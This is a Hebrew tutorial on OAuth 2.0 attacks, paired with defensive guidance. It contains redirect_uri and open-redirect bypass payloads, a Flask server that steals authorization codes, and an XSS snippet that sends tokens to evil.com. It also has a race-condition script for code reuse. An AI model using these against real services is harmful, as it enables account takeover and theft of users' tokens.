תקיפת OAuth 2.0 - OAuth 2.0 Attacks¶
מבוא¶
פרוטוקול OAuth 2.0 הוא הסטנדרט הנפוץ ביותר להרשאה מאומתת (delegated authorization) באינטרנט. הוא מאפשר למשתמשים לתת לאפליקציות צד שלישי גישה למשאבים שלהם מבלי לחשוף את הסיסמה. למרות שהפרוטוקול עצמו תוכנן להיות מאובטח, הטמעות לקויות יוצרות חולשות קריטיות שמאפשרות גניבת טוקנים, השתלטות על חשבונות, והסלמת הרשאות.
סקירת זרימות OAuth 2.0¶
זרימת Authorization Code¶
הזרימה המאובטחת ביותר, מיועדת לאפליקציות צד-שרת:
1. User -> App: Click "Sign in with Google"
2. App -> Authorization Server: Redirect with client_id, redirect_uri, scope, state
3. User -> Authorization Server: Enter login credentials and approve
4. Authorization Server -> App: Redirect back with authorization code
5. App -> Authorization Server: Exchange code for access token (backend request)
6. App -> Resource Server: Access resources with access token
בקשת הרשאה:
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read+write&
state=random_csrf_token
Host: oauth-server.com
החלפת code בטוקן:
POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=AUTH_CODE_HERE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET
זרימת Implicit¶
מיועדת לאפליקציות צד-לקוח (SPA), מחזירה טוקן ישירות ב-URL:
GET /authorize?
response_type=token&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read
Host: oauth-server.com
תגובה:
HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=TOKEN&token_type=bearer&expires_in=3600
זרימת Client Credentials¶
לתקשורת בין שרתים (machine-to-machine):
POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials&
client_id=app123&
client_secret=SECRET&
scope=admin
תקיפה 1: מניפולציית Redirect URI - Redirect URI Manipulation¶
הרקע¶
כאשר ה-redirect_uri לא מאומת כראוי, תוקף יכול להפנות את ה-authorization code או את הטוקן לשרת שלו.
דוגמאות לbypass בדיקת redirect_uri¶
# Original URI
redirect_uri=https://app.com/callback
# Bypass via subdomain
redirect_uri=https://evil.app.com/callback
# Bypass via path traversal
redirect_uri=https://app.com/callback/../evil
# Bypass via parameter pollution
redirect_uri=https://app.com/callback&redirect_uri=https://evil.com
# Bypass via URL encoding
redirect_uri=https://app.com%40evil.com/callback
# Bypass via open redirect in the app
redirect_uri=https://app.com/redirect?url=https://evil.com
# Bypass via fragment
redirect_uri=https://app.com/callback#@evil.com
# Bypass via localhost variants
redirect_uri=https://app.com/callback@evil.com
redirect_uri=https://evil.com#app.com/callback
redirect_uri=https://app.com/callback%23@evil.com
תרחיש תקיפה מלא¶
Step 1: The attacker creates a malicious link
https://oauth-server.com/authorize?
response_type=code&
client_id=legit_app&
redirect_uri=https://evil.com/steal&
scope=read+write&
state=xyz
Step 2: The victim clicks the link and approves
Step 3: The authorization code is sent to the attacker
https://evil.com/steal?code=STOLEN_CODE&state=xyz
Step 4: The attacker exchanges the code for a token
קוד תקיפה¶
from flask import Flask, request
import requests
app = Flask(__name__)
OAUTH_TOKEN_URL = "https://oauth-server.com/token"
CLIENT_ID = "legit_app_id"
CLIENT_SECRET = "stolen_or_known_secret"
@app.route('/steal')
def steal_code():
"""Receive the stolen authorization code"""
code = request.args.get('code')
if code:
# Exchange the code for a token
resp = requests.post(OAUTH_TOKEN_URL, data={
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': 'https://evil.com/steal',
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET
})
token_data = resp.json()
access_token = token_data.get('access_token')
print(f"[+] Stole token: {access_token}")
# Use the token to access the victim's info
user_info = requests.get(
"https://oauth-server.com/userinfo",
headers={"Authorization": f"Bearer {access_token}"}
)
print(f"[+] Victim info: {user_info.json()}")
return "Thanks!", 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
תקיפה 2: יירוט Authorization Code - Code Interception via Referer¶
הרקע¶
כאשר עמוד ה-callback מכיל קישורים חיצוניים או טוען משאבים חיצוניים, ה-authorization code עלול לדלוף דרך ה-Referer header.
תרחיש¶
# The callback page contains an external image or link
GET /callback?code=SECRET_CODE HTTP/1.1
Host: app.com
# The response contains:
<html>
<img src="https://external-analytics.com/pixel.gif">
<a href="https://external-site.com">Click here</a>
</html>
# When the browser loads the image, the Referer is sent:
GET /pixel.gif HTTP/1.1
Host: external-analytics.com
Referer: https://app.com/callback?code=SECRET_CODE
הexploit¶
from flask import Flask, request
app = Flask(__name__)
@app.route('/pixel.gif')
def steal_via_referer():
"""Steal the code via Referer header"""
referer = request.headers.get('Referer', '')
if 'code=' in referer:
# Extract the code from the Referer
import urllib.parse
parsed = urllib.parse.urlparse(referer)
params = urllib.parse.parse_qs(parsed.query)
code = params.get('code', [''])[0]
print(f"[+] Code stolen from Referer: {code}")
with open('stolen_codes.txt', 'a') as f:
f.write(f"{code}\n")
# Return an empty 1x1 image
return b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b', 200, {'Content-Type': 'image/gif'}
תקיפה 3: CSRF ב-OAuth - חוסר פרמטר State¶
הרקע¶
פרמטר state נועד למנוע CSRF בזרימת OAuth. כאשר הוא חסר או לא מאומת, תוקף יכול לקשר את חשבון הקורבן לחשבון OAuth של התוקף.
תרחיש תקיפה¶
Step 1: The attacker starts the OAuth flow and stops before the callback
He receives his own authorization code
Step 2: The attacker sends the victim the callback link with his own code:
https://app.com/callback?code=ATTACKER_CODE
Step 3: The victim clicks -> his account is linked to the attacker's OAuth account
Step 4: The attacker logs in with his OAuth account and gains access to the victim's account
בדיקת החולשה¶
# Original request - note the state parameter
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read&
state=abc123
Host: oauth-server.com
# Test: does the app validate state?
# Try sending the callback without state or with a different state:
GET /callback?code=VALID_CODE HTTP/1.1
Host: app.com
# If it works without state -> vulnerable to CSRF
תקיפה 4: דליפת טוקן דרך Referer - Token Leakage¶
הרקע¶
בזרימת Implicit, הטוקן מועבר ב-URL fragment (#). למרות ש-fragments לא נשלחים בדרך כלל ב-Referer, JavaScript יכול לקרוא אותם ולהעביר אותם.
תרחיש¶
# The callback returns the token in the fragment
HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=SECRET_TOKEN&token_type=bearer
# If the app moves the token into a URL parameter:
https://app.com/dashboard?token=SECRET_TOKEN
# Now the token will leak via the Referer to any external site
קוד JavaScript שגונב טוקן מ-fragment¶
// Malicious code that could be injected via XSS
if (window.location.hash) {
var fragment = window.location.hash.substring(1);
var params = new URLSearchParams(fragment);
var token = params.get('access_token');
if (token) {
// Send the token to the attacker
new Image().src = 'https://evil.com/steal?token=' + token;
}
}
תקיפה 5: הbypass PKCE - PKCE Downgrade Attack¶
הרקע¶
PKCE (Proof Key for Code Exchange) נועד למנוע יירוט של authorization codes. אם השרת לא דורש PKCE באופן מחייב, ניתן לבצע downgrade.
זרימת PKCE תקינה¶
1. The client creates a code_verifier (random string)
2. The client computes code_challenge = SHA256(code_verifier)
3. The authorization request includes code_challenge
4. When exchanging the code for a token, the client sends code_verifier
5. The server verifies that SHA256(code_verifier) == code_challenge
תקיפת Downgrade¶
# Original request with PKCE
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&
code_challenge_method=S256
Host: oauth-server.com
# Attack: send a request without PKCE
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback
Host: oauth-server.com
# If the server accepts a request without PKCE -> vulnerable to downgrade
# In the exchange step, code_verifier isn't needed:
POST /token
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=app123
תקיפה 6: הexploit הרשאות - Scope Abuse and Privilege Escalation¶
הרקע¶
שרתים שלא מאמתים כראוי את ה-scope המבוקש עלולים לתת הרשאות מעבר למה שאושר.
תרחישי תקיפה¶
# Minimal scope request
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read
Host: oauth-server.com
# Attack 1: add an extra scope
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read+write+admin
Host: oauth-server.com
# Attack 2: change scope in the token request
POST /token
grant_type=authorization_code&
code=AUTH_CODE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET&
scope=admin
בדיקה עם Burp¶
# Intercept the authorize request and change the scope
# Check whether the server shows the user the real scope
# or only shows the app's original scope
# Also try a scope that doesn't exist - some servers ignore unknown scopes
scope=read+write+admin+superadmin+god_mode
תקיפה 7: הrace תהליכים בהחלפת טוקן - Race Conditions in Token Exchange¶
הרקע¶
Authorization codes הם חד-פעמיים. אך אם יש חלון זמן בין בדיקת התקינות לביטול, ניתן להשתמש באותו code פעמיים.
תקיפה¶
import threading
import requests
def race_condition_token_exchange(code, client_id, client_secret, redirect_uri):
"""Exploit a race condition when exchanging an authorization code"""
results = []
def exchange_code():
resp = requests.post(
"https://oauth-server.com/token",
data={
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': redirect_uri,
'client_id': client_id,
'client_secret': client_secret
}
)
results.append(resp.json())
# Send multiple requests in parallel
threads = []
for _ in range(20):
t = threading.Thread(target=exchange_code)
threads.append(t)
# Start simultaneously
for t in threads:
t.start()
for t in threads:
t.join()
# Check results
tokens = [r.get('access_token') for r in results if 'access_token' in r]
print(f"[*] Got {len(tokens)} tokens from a single code")
# If we got more than one token - vulnerability!
if len(tokens) > 1:
print("[+] Found a race condition!")
for i, token in enumerate(tokens):
print(f" Token {i+1}: {token}")
return tokens
תקיפה 8: הchaining Open Redirect לגניבת טוקנים¶
הרקע¶
גם כאשר ה-redirect_uri מאומת, אם קיים open redirect באפליקציה עצמה, ניתן לשרשר אותו לגניבת טוקנים.
תרחיש מלא¶
# Step 1: Find an open redirect in the app
GET /goto?url=https://evil.com HTTP/1.1
Host: app.com
HTTP/1.1 302 Found
Location: https://evil.com
# Step 2: Chain with OAuth
# The redirect_uri passes the check because it's on the same domain
GET /authorize?
response_type=token&
client_id=app123&
redirect_uri=https://app.com/goto?url=https://evil.com&
scope=read
Host: oauth-server.com
# Step 3: The flow
# 1. OAuth Server redirects to: https://app.com/goto?url=https://evil.com#access_token=TOKEN
# 2. The app redirects to: https://evil.com#access_token=TOKEN
# 3. The attacker gets the token!
שיטות למציאת Open Redirect¶
# Check common parameters
/redirect?url=https://evil.com
/goto?url=https://evil.com
/login?next=https://evil.com
/logout?redirect=https://evil.com
/oauth/callback?continue=https://evil.com
# Bypasses
/redirect?url=//evil.com
/redirect?url=https:evil.com
/redirect?url=\/\/evil.com
/redirect?url=https://app.com@evil.com
/redirect?url=https://app.com.evil.com
דוגמאות מהעולם האמיתי¶
חולשה ב-Facebook OAuth (2013)¶
נמצא שניתן לשנות את ה-redirect_uri ל-URL אחר באותו דומיין facebook.com. בשילוב עם open redirect בתוך Facebook, תוקפים גנבו access tokens של משתמשים.
חולשה ב-Slack OAuth (2017)¶
Slack לא אימת כראוי את ה-state parameter, מה שאפשר תקיפות CSRF שקישרו חשבונות Slack לחשבון OAuth של תוקף.
חולשה ב-Microsoft OAuth (2020)¶
נמצא שניתן להשתמש ב-redirect_uri עם subdomain שונה תחת *.microsoft.com, מה שבשילוב עם XSS ב-subdomain אחר אפשר גניבת טוקנים.
הגנות - Defenses¶
1. אימות redirect_uri מדויק¶
# Wrong - prefix check
def validate_redirect(uri):
return uri.startswith("https://app.com") # Allows app.com.evil.com
# Correct - exact match
ALLOWED_REDIRECTS = [
"https://app.com/callback",
"https://app.com/oauth/callback"
]
def validate_redirect(uri):
return uri in ALLOWED_REDIRECTS
2. שימוש ב-PKCE¶
import hashlib
import base64
import secrets
def generate_pkce():
"""Create a PKCE code verifier and challenge"""
code_verifier = secrets.token_urlsafe(64)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()
return code_verifier, code_challenge
3. אימות state parameter¶
import secrets
from flask import session
def generate_state():
state = secrets.token_urlsafe(32)
session['oauth_state'] = state
return state
def validate_state(received_state):
expected = session.pop('oauth_state', None)
if not expected or expected != received_state:
raise ValueError("Invalid state parameter - possible CSRF")
4. שיטות הגנה נוספות¶
- Always use the Authorization Code flow (not Implicit)
- Enable PKCE for all clients
- Perform exact validation of redirect_uri (not a prefix match)
- Always validate the state parameter
- Use Referrer-Policy: no-referrer to prevent leakage
- Limit the scope to the minimum required
- Immediately revoke the authorization code after use
- Limit the token's lifetime
סיכום¶
תקיפות OAuth 2.0 מנצלות בעיקר הטמעות לקויות ולא חולשות בפרוטוקול עצמו. הנקודות הקריטיות:
- אימות redirect_uri חייב להיות מדויק ולא מבוסס prefix
- פרמטר state חובה לכל זרימת OAuth
- יש להשתמש ב-PKCE תמיד
- דליפות קוד וטוקן דרך Referer הן נפוצות ומסוכנות
- בדקו תמיד open redirects באפליקציה - הם משמשים לchaining תקיפות OAuth